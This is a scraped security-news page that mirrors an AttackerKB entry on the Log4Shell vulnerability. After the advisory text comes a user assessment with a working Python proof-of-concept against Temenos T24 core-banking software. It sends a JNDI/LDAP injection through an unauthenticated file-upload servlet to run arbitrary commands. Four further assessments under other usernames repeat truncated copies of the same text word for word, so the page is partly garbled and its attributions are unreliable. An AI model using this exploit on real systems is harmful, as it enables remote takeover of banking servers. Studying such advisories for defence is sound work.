CVE-2021-44228 (Log4Shell)

Security Update News

Update Information

Title	CVE-2021-44228 (Log4Shell)
Update ID	AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94
Type	attackerkb
Published	2025-05-05T00:00:00
Last Updated	2025-05-05T00:00:00

Security Impact

CVSS Score	10.0
Severity	CRITICAL
Attack Vector	NETWORK

Affected CVEs

CVE-2021-4104
CVE-2021-44228
CVE-2021-45046

Update Details

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

**Recent assessments:**

**blobla01** at December 21, 2021 1:23am UTC reported:

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
//truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}

if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys

target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap://:2389/Deserialization/ROME/command/base64/”+cmd

burp0_url = target + “/BrowserWeb/servlet/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9”, “Referer”: target + “/BrowserWeb/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)

burp0_url = target + “/BrowserWeb/servlet/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\”uploadType\”\r\n\r\n${jndi:”+ldap_url+”}\r\n\r\n——WebKitFormBoundarygrfK28lThpyA12GG–\r\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

**AmirFedida** at December 12, 2021 8:47am UTC reported:

package com.temenos.t24browser.servlets;

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys

target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap://:2389/Deserialization/ROME/command/base64/”+cmd

**nu11secur1ty** at December 19, 2021 9:49am UTC reported:

package com.temenos.t24browser.servlets;

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys

target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap://:2389/Deserialization/ROME/command/base64/”+cmd

**ccondon-r7** at December 10, 2021 6:39pm UTC reported:

package com.temenos.t24browser.servlets;

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys

target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap://:2389/Deserialization/ROME/command/base64/”+cmd

**RhinosF1** at December 10, 2021 10:48pm UTC reported:

package com.temenos.t24browser.servlets;

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys

target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap://:2389/Deserialization/ROME/command/base64/”+cmd

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5

View Advisory Details

Security Update News

Update Information

Security Impact

Affected CVEs

Update Details

💭 Join the Security Discussion ❌ Cancel Reply